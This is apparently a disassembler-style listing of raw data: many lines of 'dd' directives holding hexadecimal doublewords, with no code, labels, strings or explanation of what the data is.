dd 0AD1FA101h, 40DE2128h, 30861BF9h, 0D1431EF9h, 0FF3DBE7Ch
dd 3F00FCF6h, 95662EDDh, 3C448EFEh, 0D08199BBh, 4C5A74C2h
dd 38D8813Dh, 0D3D5B693h, 46D795F0h, 6E8C02FEh, 1C8B766Dh
dd 6E845C01h, 9DB3CCEFh, 371A4FCh, 4A1DFE46h, 60003A7Ch
dd 5D188B0Bh, 9E48DFh, 0D8ECAE14h, 28730CCCh, 0C0250607h
dd 0C0CCFF31h, 6ACB00D7h, 544489DCh, 2C37D2FBh, 215C0804h
dd 0DC730001h, 0D53514B7h, 0C20372C8h, 0CF485E30h, 66F800F3h
dd 0C683527Ah, 60C8D0EFh, 8167C42Eh, 487C4442h, 0EC88D630h
dd 0AEDC006Fh, 19742F28h, 8F05B067h, 5A3F505Eh, 0E45B80Fh
dd 0A23187D3h, 5C81BC7Ah, 8BA1F991h, 0D6213A8Ch, 5018DC19h
dd 62385523h, 0ABE71E8h, 0C5CEEA45h, 0BAD702FCh, 0A8A03143h
dd 0BFF059F6h, 3DA39CA0h, 0B70090DFh, 0DF13894Ch, 5C68060Bh
dd 58BECFF4h, 19674B40h, 0F1072A9Ch, 0BA9891ABh, 32132E00h
dd 9571B990h, 0B02A9B06h, 0F029F218h, 50BC88CEh, 0A0EF1F28h
dd 8AEA3D0Ch, 1A20A0E1h, 18ED7F40h, 0E838902Ch, 0BC00EF7Eh
dd 2D9557C3h, 0CEBF1311h, 18906F50h, 7F31BEFFh, 996C3FACh
dd 43A09D9Ch, 7E06FEAAh, 0E38F13B8h, 0F1C9FB03h, 39C638C7h
dd 8D02BD61h, 0D65D8B44h, 52E05840h, 0B91B7036h, 32EC8159h
dd 0DC086B18h, 0C45C448Ah, 74005CD5h, 421941DCh, 754501FFh
dd 5D2AA75Fh, 0D49C4CC2h, 0FD2C828Ah, 86CE0h, 417E26BEh
dd 21F4BB6Dh, 0B4AD3F00h, 0F2E9BDE8h, 0D898A0B8h, 0F1432070h
dd 2BE56200h, 0AFA1BB63h, 5E20C1F6h, 7EC4F70h, 685CAE20h
dd 0E4565063h, 1C1B4958h, 0C82A7404h, 92D09726h, 8480BC35h
dd 155C4254h, 5431FE80h, 746A5875h, 0BA0609F8h, 282020BBh
dd 386C2276h, 6AB34480h, 0D904969h, 80181E04h, 5AE2AEC8h
dd 0C3C4BF70h, 91E9E051h, 0EF10ADA0h, 0F0941201h, 73784550h
dd 26A424D4h, 38246DFCh, 0BC67916Eh, 81A9F4A1h, 0B9FF80h
dd 15D6CD7h, 0E82248FDh, 60F5DBB2h, 9D0F3C7Bh, 0A5BE2EB1h
dd 870EFC23h, 2187C167h, 8830B7BDh, 0CF122809h, 6741EA4h
dd 0D671C4FBh, 50D801ACh, 9C415817h, 5C429E31h, 9F3C87FEh
dd 0EAA17E0h, 0C9100059h, 96E4425h, 13E29B5Eh, 2756B702h
dd 48C4A385h, 45203Ch
dd 32B81514h, 5B3FBFB3h, 212C08CCh, 1C14EAFEh, 0C121B295h
dd 0B55CAD87h, 7F488CBAh, 7F25792Bh, 545092C5h, 0A4A7C43Fh
dd 28700568h, 402FB441h, 0E96043CCh, 40B3C2D2h, 89A05980h
dd 1227F95Ch, 422A4021h, 0AC4F4308h, 2A01209h, 41CB02B9h
dd 0F7CCAA64h, 0BD89151h, 903E92Ch, 98081C62h, 801BD912h
dd 616E7807h, 0F09B6B76h, 60000511h, 4E0A6E90h, 5B122E94h
dd 180001EAh, 0BD816BEh, 0F8B040B7h, 71E95334h, 3ADE009h
dd 78297984h, 5236FCF0h, 0FB1EDCBCh, 0A222E0F9h, 468606DFh
dd 0D8D209BBh, 5EFE4818h, 0A831A351h, 380A58C0h, 7E07C832h
dd 0E051B8EFh, 6D3A450Ch, 0D6A55D39h, 79185084h, 6C3AE20h
dd 0B9B2AA78h, 760560DAh, 0F225E042h, 640F1095h, 80895ECh
dd 481B682Ah, 0D8FC089Ch, 676E8E60h, 809B4376h, 0CE6E865Eh
dd 0B9E250h, 2C9FC3B6h, 630EEAC9h, 74507263h, 0C703B99Bh
dd 30C82020h, 0B7E93A46h, 0C2648A89h, 0B8D27DB8h, 34FC8401h
dd 0ED741491h, 4E89E085h, 0C7AC21DEh, 154000EEh, 0EA460025h
dd 30AAEF9Bh, 0AC4DD0A2h, 343F2814h, 0D30910B0h, 5AA6A4Dh
dd 0BF102850h, 0DB9D11CCh, 1839C814h, 18B6BF2Ch, 0BD7B71C5h
dd 75A1AF63h, 2E3102D2h, 0AD74464Eh, 18FB9C91h, 686E088Fh
dd 4C49376h, 6E876740h, 0DA071AB1h, 113149FDh, 59E62D0h
dd 9DBE0166h, 0D685E8F8h, 43045B5h, 18C96D1Ch, 6173FE11h
dd 4A762010h, 18447588h, 0D60937A0h, 8E1C3348h, 0EE712320h
dd 77D80CBBh, 67F13BA4h, 4E300E07h, 9550FA45h, 0B42F3DAh
dd 62E9BCA9h, 2E76DCA0h, 0C71B27C8h, 0A9396340h, 0AC70C9E2h
dd 0D2EF222Bh, 0F1C2BCA5h, 3BEF18D6h, 0BEB8E862h, 0C8BF0234h
dd 838AB4A0h, 0E800F084h, 1DE74291h, 9FBCFh, 4117692Fh
dd 453A922Eh, 473030B0h, 0BEAEE91Bh, 1633570h, 813C0210h
dd 0C02244BAh, 57244145h, 75C72184h, 0A4A88852h, 0AA293967h
dd 0A1EA33B3h, 0B444ED24h, 0CA8628C7h, 42BA1828h, 56415122h
dd 97E8A203h, 0D0888A87h, 0C58EE7h, 3AFDC989h, 44A17007h
dd 397B8F00h, 51E163C4h, 2318C018h, 147608BFh, 0FD5CC200h
dd 6102A0A9h, 33772Ah, 43727583h, 1EACA17Bh, 2CAA6980h
dd 2636676h, 0DC18E17h, 335F8B80h, 0DA1CEDF6h, 0C068F132h
dd 94137000h, 0C43B8874h, 2EF9070Dh, 0A0763CC2h, 870868Ch
dd 0FB562306h, 0A3486007h, 2D09E016h, 0FA367C35h, 932A1BD4h
dd 0E06383Fh, 2C81FF46h, 99760120h, 0C1C9B138h, 147080C6h
dd 67261B56h, 0CEF308BFh, 0AD023AE6h, 8063B744h, 0B2E98F80h
dd 0A004609Fh, 972E58F6h, 73EE8C18h, 14023C20h, 2041723Bh
dd 189AA1F1h, 35BC2A23h, 0E18938A4h, 0D901AB1h, 40BE3Bh
dd 5EC8E97Ch, 30679478h, 9019C7ADh, 26549D69h, 851CC38Ch
dd 0DA40945Ch, 9B8C9C8h, 0EC19003Fh, 0EEF96A4Ch, 0B6068882h
dd 6E9E94ADh, 0F1F50C90h, 15701CD9h, 0CCC49D0h, 11179E47h
dd 0F16D0234h, 105DAD29h, 98058E61h, 69213008h, 28F10075h
dd 1DF2FA8Eh, 813AB695h, 42D200BBh, 613EE391h, 0C76D30C9h
dd 0D4898C68h, 0C2E29202h, 803BFDE6h, 9A9F9C8h, 71149079h
dd 2CE0F9C3h, 0BD10C112h, 0F414D3B6h, 48902636h, 3C735C03h
dd 0E1E4CC4h, 0B413F6B9h, 9D854ECh, 3F99B618h, 8C1855E0h
dd 0D8158C7Bh, 0E140D471h, 860810B0h, 4C470645h, 0C686086h
dd 3C31E03Dh, 82002F60h, 0E9AF7BA7h, 50B7F18Eh, 3064F4C7h
dd 0A660C0C3h, 2A796E31h, 2D4EB103h, 0E1BF0A55h, 68956B6Ch
dd 0C31EECC1h, 983AD886h, 19C71351h, 380C997h, 7FB6FB2Eh
dd 7520C61Dh, 1C74D814h, 73D47218h, 17C5611h, 68FD5B87h
dd 98F53026h, 36216B09h, 1D870764h, 506D0270h, 0B3EB0F67h
dd 26F6801Fh, 6028D94Ch, 41A71DC4h, 801214FFh, 46237604h
dd 358954Eh, 30DA65E8h, 2D1C1100h, 3A8B68D7h, 0B3C61948h
dd 801A0832h, 0D7257321h, 1E639AAh, 2982F4DBh, 1105B923h
dd 0A1BF642Bh, 57746800h, 4A44F377h, 3AFA9D00h, 0B47EB516h
dd 0BC524809h, 3C735F08h, 0B5A8670Eh, 896403A0h, 26E50D88h
dd 9107179h, 0F80E68E3h, 338619E8h, 1D7197B7h, 291CA975h
dd 0F10A18F8h, 2F00EDF5h, 72318A93h, 98EFB70Dh, 0AF100158h
dd 0C76A9C3h, 69798F35h, 0DEBA20DBh, 7318688Ch, 2A5B0053h
dd 16212BB1h, 4920625Ch, 9D6D4477h, 4C3849h, 83CFAA7Bh
dd 0F0C7C5A4h, 0BDDD04D5h, 8027F968h, 0EBF27A35h, 587D4100h
dd 0ACB9773Ch, 10B0D860h, 0C6600C25h, 0B35B2289h, 4FB9037Dh
dd 70412852h, 212B0830h, 9B34301h, 44488F2h, 0D4965084h
dd 7BE808B4h, 0F08117C5h, 0E8580A8Bh, 2F75881Fh, 5C60D700h
dd 47381586h, 0A0E901D1h, 0B8131C48h, 4026319Eh, 9BD97724h
dd 18803D48h, 8CC09C95h, 2446840Bh, 7EB35A02h, 353147B9h
dd 0B3420017h, 55009622h, 8F0965B7h, 90D7DBF1h, 33740BB8h
dd 400177E5h, 542C9E42h, 1E0780B0h, 8A064886h, 4423C05Ch
dd 5DC21351h, 0C620042Ch, 6AFA007Fh, 986D242Eh, 5221E004h
dd 58F7546Eh, 0FCCBCC0h, 0A6D40219h, 0F3D36716h, 8CE81061h
dd 313F0DB1h, 22FA9Ah, 5B62931Eh, 268B9CF9h, 4A8CAD09h
dd 0C038A37Dh, 8A390255h, 0C5A3F540h, 22697CC0h, 77044182h
dd 87087F18h, 0C470FD58h, 81334B69h, 0BF1BABEAh, 24799CF0h
dd 281E58CBh, 145F590Ch, 8A46B040h, 8315861h, 0B96405A7h
dd 244A618Eh, 0C99827F4h, 19140B06h, 0E502CEEh, 2D0DB8F8h
dd 2974A9FCh, 0B65132B0h, 0DF69B3Ah, 6FCBA0Fh, 40482FC4h
dd 92A1F559h, 867B1E47h, 765C9BCh, 0B9FBD001h, 623C749Ch
dd 74CD5600h, 2F265325h, 9C8A52B5h, 94723C3h, 0F40D7109h
dd 0A8102829h, 31C8221Fh, 0AC17E9C3h, 0B7816E11h, 0F062BA5Dh
dd 8798238Dh, 0A47CF0C8h, 0C1721830h, 7118A4C4h, 0A5417D2Bh
dd 0C34B02A8h, 30A03D75h, 0F49DA8B2h, 0A89F3611h, 2DA529D0h
dd 8F1740C4h, 18D42511h, 0B702274h, 4F718EBFh, 52228C11h
dd 5D302F40h, 0B97311B3h, 802A88BFh, 0B2B3457Bh, 0A9248374h
dd 8C01CC72h, 762F4264h, 0ECEBA461h, 0F18B3CC0h, 0FC1D5D05h
dd 7820E44Ch, 1C05F0B0h, 29B9B6B8h, 3074C822h, 5D088772h
dd 642598FDh, 7A405E6Fh, 7E2DAD87h, 0F30C15CCh, 0C601F816h
dd 99E1315Ah, 1374292Ch, 842284C1h, 0D72C3066h, 228B6F16h
dd 3D726C38h, 2601D724h, 0C5B4017Dh, 363420ABh, 30C98B88h
dd 95681341h, 73060BEFh, 454C43A5h, 3C315D78h, 4035E612h
dd 4BB1CD0Ch, 88AC374Eh, 7D1B899h, 45026818h, 36918CB7h
dd 77EC4167h, 0C043BC52h, 0A15AFF64h, 230CE7F4h, 0B359048Ch
dd 625FB97Fh, 9007272Eh, 1D7A0AB3h, 0E8F46F00h, 0B8FEA1B5h
dd 3619288Eh, 252676DCh, 2C1842C1h, 2C10F168h, 56E075ADh
dd 800F170h, 840DF360h, 9148E67h, 0CD832305h, 26468C14h
dd 7CB34402h, 20C777B9h, 0B34C0200h, 2588EBFCh, 0B8098DE1h
dd 64E6B402h, 0DA01ECE5h, 6DF18AD3h, 101C2034h, 1753059h
dd 0C1849FB3h, 0E44249D4h, 0FBAC91DBh, 0D064F0E1h, 5D4C0569h
dd 0C80754B9h, 1841A930h, 336B6842h, 0FD5C87A8h, 6C229046h
dd 877B3F00h, 11C5033Eh, 7A850E3Dh, 0A8E02A41h, 9510546Bh
dd 6FDE20Eh, 0EBFA2F64h, 0C51002BAh, 0A1730028h, 88C71FECh
dd 2312B6D5h, 8544445h, 1231F989h, 0E18C9405h, 0B0810CD5h
dd 0D91105A9h, 0C318002h
dd 76341E2h, 3EFD0037h, 0EBA731F3h, 5505FFBAh, 359D402Ah
dd 0E800BC54h, 0BF008C3Fh, 53C0D98Ah, 0A0EBA1FCh, 8012E0A4h
dd 2933FF47h, 2276D84Dh, 2B2A6DC8h, 0A300987Ch, 0DDFA38F3h
dd 4A879361h, 4D1C2894h, 6839DA89h, 0EADB6601h, 0FC192FD2h
dd 0FF02D59Ch, 0E6264188h, 8E08E7Eh, 0D240607h, 0D7004131h
dd 986EBA72h, 0E74850h, 0E8912188h, 0DA194257h, 0EB2B6F17h
dd 0D43AF853h, 0AC036123h, 50B0D96h, 85B71171h, 9E80093Dh
dd 710C04C8h, 3F48D900h, 752B9404h, 849500AAh, 795885DFh
dd 6B0A1154h, 0F43099C9h, 15D07319h, 61A2AC15h, 0ED86BFD1h
dd 30261064h, 0A8193A0Dh, 0BE09DD52h, 32DB123Bh, 7A50417Ch
dd 0D7092818h, 45028B63h, 2080B920h, 6603C1D7h, 0DC3FF257h
dd 3510811Ah, 69E4A1FDh, 3B72F441h, 942DD1F9h, 4578DC4Ch
dd 36DC4338h, 1354C8F5h, 2210D540h, 8A3102D8h, 82D4A898h
dd 22F60D01h, 0D0940744h, 0F742252Ch, 0A8460C6h, 2BC48727h
dd 0CA36AB60h, 0ACAD3106h, 3A985B16h, 716AF30Dh, 0EE376018h
dd 0C401355Eh, 0B37EF67Dh, 0B0C82604h, 13540101h, 29E13371h
dd 108C6232h, 0D450476Ah, 972A4099h, 8403852Eh, 0C350C08h
dd 9AF901D9h, 0D1C54401h, 6FC0384Bh, 0E147F0h, 25DA98ABh
dd 0AFAEC926h, 68888133h, 8C513E38h, 3C099CDDh, 0B4022D01h
dd 982017D9h, 0C3234C28h, 2BA3FB38h, 1320D858h, 70420144h
dd 1CEE89Eh, 0F46EE777h, 9C2AD1F3h, 0A01FE030h, 0E494646Fh
dd 0CBF9E120h, 940E2318h, 801639FFh, 0D4FBEF84h, 5CC8945Fh
dd 0F8002D46h, 0D7F703CCh, 8A07671Bh, 0F556272Ch, 0A1F6C273h
dd 2C6460D1h, 11A20253h, 0D5B03375h, 1082C44Ah, 720420E8h
dd 243A3882h, 4FA48164h, 46143C19h, 0B2B103D8h, 0ADB68420h
dd 8C32C4D0h, 0D3042672h, 48E61AD0h, 0FB614471h, 2C4CBCFCh
dd 0F18E0AF6h, 883CD775h, 0E0A007ADh, 315D5E22h, 77202C02h
dd 0C99B0218h, 0E0149E40h, 812065A8h, 0B9773E3Bh, 87B06DA6h
dd 10DD66F0h, 19294EB2h, 218D8717h, 3171C422h, 0FD5AFC7Dh
dd 91266021h, 65350262h, 828E0687h, 960DE8Ch, 4809F864h
dd 8CE08Ah, 8352405Ah, 945A3802h, 0A6547783h, 2DE08A93h
dd 242CC225h, 97A5C03Dh, 546B858h, 89F98A86h, 0ACE07494h
dd 9271E867h, 0D128B114h, 78E91829h, 0CBD70136h, 8DF1F51Eh
dd 0C13C6820h, 6F8E8CAFh, 0B9105432h, 461867D6h, 0FA2B0A48h
dd 0E2C08388h, 11E6B532h, 90D1FB0Bh, 227C1C17h, 0B3025E46h
dd 4B3E2C85h, 0FCEC8434h, 8C64CCCCh, 69D72E04h, 462328Bh
dd 0D7267C20h, 0B031008Dh, 0EAFA9C24h, 6D16285Fh, 14C85E9Dh
dd 6C048C46h, 55AD28F1h, 6A223162h, 4C2B0074h, 33287AB5h
dd 0BA0CD640h, 0B0A6895Bh, 0FF0D8892h, 37392A61h, 4078FAB5h
dd 0F9F18B0Ah, 7140A19Ch, 2E183Eh, 0CDC3BCCCh, 0F555DED5h
dd 0C622FB0Bh, 0F13038F3h, 0A0DA8839h, 70C9B016h, 6114E882h
dd 7B106508h, 344D10B9h, 66E812BCh, 3531F891h, 37D30D00h
dd 0E533ACA0h, 9CB84Ch, 0E3958A53h, 78EE0A75h, 0D480C46Ah
dd 7DA7450Bh, 3D202CE7h, 89187C90h, 0F1697FC7h, 0A13640A9h
dd 0DC9DAC14h, 0A23D05A0h, 70E76A7Fh, 8A530520h, 0DF8E8420h
dd 0C184BC60h, 98896139h, 2F2821E1h, 56C63395h, 90085398h
dd 97EB432h, 6802253Ch, 5B016E3Eh, 0A840531Eh, 4FF9576h
dd 5D0B0484h, 452092AAh, 0EEF16330h, 224D46ADh, 6B713Ah
dd 96170BF1h, 64141B26h, 40B5B300h, 0E1E98AB6h, 1994B12Bh
dd 605C815Eh, 3040648Ch, 748F3133h, 0E97ACFA9h, 708028B7h
dd 0E0502B89h, 0E2BAB53Ch, 1A930047h, 0DB4C9F45h, 0C414AEABh
dd 129C420Ch, 4422D77Dh, 0FC693143h, 7D43AD2Dh, 0F1715580h
dd 8A01E39Bh, 0D15C9E86h, 48A58D88h, 18913C97h, 42ABDF81h
dd 0FE43C0B2h, 8B13C505h, 0E89595F9h, 65F44487h, 689420E5h
dd 6F805841h, 6DAD2BF1h, 5758C494h, 0A1F11777h, 0D7A300F9h
dd 0F588B68Ch, 41F8ED00h, 86BF6FDBh, 0C38582Dh, 0D03D149Eh
dd 76458803h, 780526A5h, 0F838BE8Ah, 72CEB0CCh, 59850053h
dd 337405ADh, 349480FDh, 82DF2B40h, 0F45B02CBh, 4C61755Fh
dd 0B40E882h, 67335800h, 0A9FF3FD3h, 393D0C98h, 0A100640Eh
dd 4E988030h, 0FB72F8CEh, 8C72D8E5h, 0C7711Fh, 0B551E16Bh
dd 0DD01171Eh, 7A8E074Ah, 22FCA1F8h, 2F60D773h, 6F23D4h
dd 56CCD880h, 6AB0A389h, 145A327Bh, 0B89A7433h, 2B1DFDh
dd 802A1AE3h, 222DE56h, 3455E500h, 0FA5B1BFBh, 0F83E4C58h
dd 0AC2856B2h, 18606712h, 256ED72Bh, 0B8162A8Bh, 0D723710Eh
dd 444B4056h, 17099EA9h, 4F53A81h, 0A3208B3Ch, 302FB27Ch
dd 0E601B28Ch, 8F972319h, 0E231AF61h, 9D125C2Dh, 0D6284020h
dd 0F634D895h, 0D27B840Fh, 4CBE34C7h, 1882200h, 0B964A089h
dd 804315E6h, 760AF6F8h, 2F7B74Ch, 131A5CFCh, 70CF5A94h
dd 0A2857DC0h, 8B0504A1h, 0C83149E1h, 59C07620h, 0CD31524h
dd 3A4702A5h, 51DEFB64h, 0E441C66h, 0DBBD09BCh, 0F8E45CD8h
dd 0B41F6920h, 0C25137A4h, 705641E9h, 3195E46h, 0EC9284B3h
dd 801238EDh, 0D81471CEh, 4A10878h, 89690232h, 58D0F9C9h
dd 0C81A905h, 0C88F49F1h, 0CC03BC8h, 9BA11AAh, 6870B953h
dd 6764AC2Fh, 0F504E595h, 413219Eh, 1194CAC4h, 19095AF2h
dd 2430CDBEh, 0F55E8F3Fh, 429D0C05h, 0C54C5448h, 84CC846Ah
dd 38542202h, 0F1A05427h, 5CB4AD8Ch, 0A0C8A016h, 5CF09580h
dd 13645172h, 270D244Ch, 0ED212004h, 8700299Ch, 0BCB42D23h
dd 26633E7Dh, 4FE0C03Dh, 68C844ABh, 0AC00A4BCh, 0D21CCB40h
dd 0A2770CBAh, 0F18C798Ch, 0B0C01836h, 0C5E110A0h, 0B4AF1316h
dd 0A048FB13h, 7FB708F1h, 0FCD94582h, 0CEB08013h, 0C771F18Ah
dd 57D095A9h, 8F171545h, 0C03F88A0h, 325D4A1Bh, 27BE3900h
dd 44AF16A5h, 9053679Bh, 69758341h, 88B1FDB8h, 8988BEFFh
dd 9817359Fh, 5E3186F0h, 6CF84858h, 2C45E641h, 0CA07808h
dd 394119B6h, 2B4B7802h, 16C058CDh, 10AF713h, 0D1C7A224h
dd 88742339h, 292580h, 5582C416h, 19004FB7h, 0F7951553h
dd 0F3E8FF26h, 88710020h, 1B63E394h, 436FCB0h, 11FF1FF0h
dd 0E89D0B4Dh, 19B3710h, 44E0D8ECh, 2EA967FCh, 23B8C445h
dd 97837880h, 64950DF4h, 6CE1F654h, 8C60BC58h, 81C40303h
dd 0E906FD5Bh, 50250BDAh, 239C5F0h, 2DCD7451h, 0B05A2ABEh
dd 18A0FF00h, 0A29A6C8Eh, 7C63009Eh, 0E6B92C1h, 2C90EC20h
dd 1C59C200h, 9E71917h, 32E8A430h, 41081095h, 62DE92E0h
dd 591E5C30h, 60D966B6h, 285B810Ch, 0ED002659h, 0A70777B1h
dd 0A8C85A6h, 68669C61h, 86D02EACh, 3903D974h, 6ED1A400h
dd 2EE14AB9h, 2F7B0061h, 2FA4706h, 0D25C7FFh, 0E6F82BFEh
dd 0CC5350CCh, 0C90340C8h, 138EB012h, 28052004h, 0F8501609h
dd 19758504h, 8CB82587h, 44131505h, 5660B071h, 0BEEEFB02h
dd 643869FEh, 3E062464h, 0AC01350h, 82E85264h, 5AC6BCADh
dd 5F1F3464h, 74025926h, 48298EBFh, 4DA1FD70h, 24729840h
dd 0AECA53Dh, 81C719Ah, 583E23A2h, 0F0024A8Dh, 705AA5BCh
dd 0B4D11AECh, 0B0184015h, 8100CF21h, 26B17FF7h, 0B696FCh
dd 0E8AEF84Fh, 67F3BEBCh, 90C0A12Ah, 0F226C912h, 0DBC81CCEh
dd 0F4DB42FEh, 30A47885h, 0F1D64CAEh, 4F25CD13h, 0E1068180h
dd 908021B5h, 54807C02h
dd 33140037h, 7184B73Ch, 7A5843E6h, 398A09BCh, 0AD7C8668h
dd 3E31D270h, 3A3D2384h, 55DBF380h, 86C35FEDh, 0ECA0297Eh
dd 0AC1EFBF5h, 45493797h, 70098FCh, 0A9203835h, 7A8D328Bh
dd 112B6C91h, 0AAF4470Eh, 40E5047Fh, 0D668A9FDh, 0F100C080h
dd 743D5904h, 3B69C223h, 80D101C9h, 6782D839h, 0F0A21CA8h
dd 7AB133h, 0F2838A0h, 22AC20BEh, 2436A43Ah, 23C4808h
dd 1491FEBFh, 15405C69h, 0C9E65C02h, 0E3FB014Ah, 4AA06660h
dd 3823082Fh, 3364AE03h, 98A1C6B4h, 0E2788304h, 7D5C8089h
dd 8135D0A9h, 70AFF164h, 7CBA4270h, 0E9F9310Bh, 949427h
dd 0DA94245Ch, 0EAAF28D5h, 0A9BF5202h, 64610440h, 64140014h
dd 5BE02EFDh, 93F68FB3h, 0ECC9B026h, 3AD49025h, 0D168015h
dd 39BBF1h, 0CA611D2Bh, 8AB46Ah, 0AC0E944Ch, 0A115B243h
dd 80794418h, 55E90B88h, 0A878D431h, 583CA400h, 0CCA97533h
dd 0DC92324Ah, 58052929h, 71888C74h, 0A4942458h, 290DD40Bh
dd 0AF3CB3A0h, 242BDC2h, 4C62131Eh, 6C622048h, 0E2605E82h
dd 42B2DB0h, 0DA491AD8h, 0D600005Ah, 0F8C9E390h, 7A4E0AFCh
dd 0FFE0031h, 0F3C705EEh, 0DE255507h, 40C430h, 0AEA6AC53h
dd 860656A9h, 0E6881750h, 0C0D8340h, 14D81FCFh, 0C94A8961h
dd 370C1891h, 0E6868183h, 0E19884E2h, 400029B8h, 458A4BF1h
dd 1268028Fh, 8D2D05F2h, 0AC092FF8h, 0C2D4A171h, 0A8552DE6h
dd 0A084492h, 192518D4h, 8401D310h, 91D6B7B6h, 2025517Eh
dd 1BF80828h, 0A979018Ch, 0EE0CD3CBh, 43B5708Dh, 66BC6151h
dd 408A0018h, 0C282AB2Ah, 9182FF86h, 3360B145h, 73020845h
dd 891A88B9h, 1645A60h, 76F8DE10h, 68CB189Dh, 683F3134h
dd 7068C3CAh, 38C3DECh, 0E04B54D3h, 70113A08h, 950516BDh
dd 0C18321CAh, 1728BF8h, 7860A789h, 2B7D40DAh, 4B782D4Dh
dd 56877C9Bh, 0EF7FD2CBh, 4D84C60h, 28E6BD80h, 4881A2Bh
dd 7F62E1B7h, 20E4D97Ch, 0A640F548h, 0CF880F8Ah, 3F42135Fh
dd 4459AB66h, 37FD8E04h, 0F85834F4h, 60C89420h, 0B972B35Eh
dd 48CBA74Bh, 0B3460400h, 686E230Dh, 1D906950h, 54204A41h
dd 0BF604054h, 0D3662005h, 4C548EC2h, 596A10C4h, 3850F84Ch
dd 3F664F37h, 758C7EACh, 30FA02A2h, 5EB54F83h, 8D422C7Eh
dd 9880091Bh, 0D9284B2h, 9F68AB2Fh, 0FCAD11D0h, 8DE585ADh
dd 748580C7h, 20D1BCA4h, 271D1B18h, 0CC2EA5FFh, 0F1A998B2h
dd 181971DCh, 9FB803CFh, 84F333F0h, 228832A1h, 0D3670450h
dd 84C253FEh, 4B72EC7h, 97B0A90Dh, 824C2544h, 8029C6B0h
dd 0E9AF8E48h, 5CA49EA9h, 39B118E1h, 0E0A6F940h, 30BF83E0h
dd 70A017FDh, 630AD26h, 3E02204Ch, 6F48866Eh, 38792918h
dd 6CD72901h, 50331A8Bh, 0D7217780h, 0FF00A389h, 0FC8F17B2h
dd 2C8EBE03h, 9EEC28BDh, 13C412E4h, 0F214A28Ch, 0B92B302Fh
dd 0B2E4CF02h, 60414CEAh, 80887DD0h, 230E35FAh, 60266F8Eh
dd 5F98961h, 49509237h, 0C43C94F2h, 73405E44h, 1B9502BCh
dd 0A5F98B71h, 94A914CAh, 5F68E000h, 37B0C52Ch, 0D2C0009Dh
dd 4D59AB2Bh, 33062C3Ch, 382DC9E9h, 65F86758h, 0F4ACC3E0h
dd 0F607FC90h, 3CE1E03Ch, 0B249B481h, 0A5A84890h, 3EAC6CA8h
dd 6D9E018Ch, 23D4AE84h, 0EDCC200Ch, 0D007C726h, 38E603F4h
dd 9B8CECF7h, 2EB1B7A8h, 40047E82h, 5630BABFh, 0AF323F00h
dd 6B92E50Ah, 7F9101DEh, 0CA07B423h, 68092EFDh, 893860D3h
dd 1AF1FBBh, 0DCD94904h, 0FB169C70h, 5679B6h, 0B0C2D424h
dd 9128DB46h, 10E84C6Eh, 5109C5B5h, 444833BEh, 0D98815FFh
dd 0D50E41D0h, 2B398C10h, 3F366178h, 180AB86h, 6B7EEFEDh
dd 0E60AD773h, 28AA519Dh, 0F5031791h, 0C5115DEEh, 4BB6BDE8h
dd 586F483Eh, 1FAC119Ch, 5F60971h, 0AC648EB5h, 0B4400D4Fh
dd 8F4055BDh, 16EC01E8h, 0E0AF1052h, 7185F89Fh, 2C2A953Dh
dd 0FA81284Dh, 0E1896BD4h, 7E16C469h, 0B10CF347h, 841F3EEAh
dd 182E3EEAh, 9CE1310Ch, 0BEC00F3h, 5A12884h, 0BB00D89Eh
dd 0FAA2B0B5h, 0C24087h, 383495Ah, 2AB4AD2Ch, 8439472Eh
dd 3A064676h, 23418F87h, 0D4FB228Bh, 0D1FCC06Ah, 27E89AACh
dd 0B84C2447h, 31F18B0Ah, 0EB039834h, 6255FB44h, 0FD0D21F9h
dd 231500F2h, 7E1C35BFh, 0C9D0C541h, 0BECC9933h, 7041D97Bh
dd 207B0274h, 61C9C05Ch, 1EFB5601h, 159DE738h, 25753064h
dd 10C726D9h, 0F6005C4h, 31D0945h, 4912FF16h, 0D034D044h
dd 4E300E12h, 0B6891490h, 5FF312E4h, 0EC19D093h, 8A0B5545h
dd 0C26D20ACh, 34ECDC38h, 0F1B96CEBh, 18C00427h, 906FE9A3h
dd 2BC0167Ch, 0F6F0297Ch, 0BC782008h, 94B18C94h, 0C41835D1h
dd 1EF9E202h, 0D1A28DEEh, 18627964h, 0E2FB26A6h, 47C90874h
dd 0D8122828h, 0C5F7404h, 0B6BCEE41h, 68381033h, 0B2CA108h
dd 0DC4BD832h, 0AF1601C4h, 6C79B2BCh, 7E9D129Ch, 3A8B2820h
dd 0E9A979F8h, 23D43B6Bh, 55A0534h, 5C938272h, 24938D0h
dd 95BCA0h, 0F9AF24B4h, 0CC5FF18Ah, 0BD0834BCh, 42AA8933h
dd 6387E082h, 0D9774C00h, 603E510Eh, 48F4B9E0h, 7E89B835h
dd 7554D482h, 0FFFA5600h, 72F024CBh, 1932188Ch, 0E94AF1F6h
dd 5A7AFC80h, 0CCCE0142h, 0A9C03CADh, 74446A2Bh, 64A44B64h
dd 54C5098Eh, 0FC402476h, 80C15F88h, 0D8B6B8E4h, 0A9B0C050h
dd 900A6084h, 0C0EB547Bh, 76282902h, 7A0644D9h, 5F4E274Ch
dd 0C2E46C00h, 472FBC3h, 277C109Dh, 16600B8Ch, 0C0D3EA47h
dd 9F16646Ah, 187718F0h, 187A5EAAh, 5429D4F1h, 11E483Ch
dd 0BA88EE42h, 0B8A482D8h, 0C8489404h, 7E58BFD0h, 0BD20A54h
dd 0D120B3A5h, 83BD31BEh, 0C67FF941h, 96A82141h, 34067696h
dd 80FEE988h, 84C6EBFCh, 205AF575h, 9EBFE041h, 60BB2B39h
dd 6EDCA909h, 587470E6h, 0FB05E8B9h, 343193B1h, 0D075E994h
dd 0C2EB4C60h, 0F744EA71h, 1E7780E8h, 96CABB0Ch, 4B8A30E4h
dd 5CB8447Fh, 7644A80Fh, 8E24C0B8h, 8A0008C7h, 0D780D8BDh
dd 44A706C5h, 69EDACAFh, 8A50C1D1h, 23658CBFh, 0BC828CC5h
dd 0B41321CEh, 0CA9A3F4h, 54792C3Bh, 50D1104Dh, 3B4DFA00h
dd 0FB69CB02h, 9034D4B9h, 0EB45FCC8h, 23CC3A6Eh, 0BA051F62h
dd 58D45C7Ah, 901E6D80h, 7A00280Bh, 21D3ABF3h, 0E8CAACAh
dd 0BB8A6A75h, 77506381h, 0BF7C4059h, 204F19FEh, 2023BCC2h
dd 0D60B64A4h, 9F250700h, 455DA6ECh, 1CD90027h, 0F2DB67E6h
dd 0AD161259h, 54A73C24h, 0B99E5700h, 33CCF383h, 10C9A720h
dd 8B397DCEh, 0FA9010A2h, 25BFE23Dh, 0CC442D8Eh, 0E6E9420h
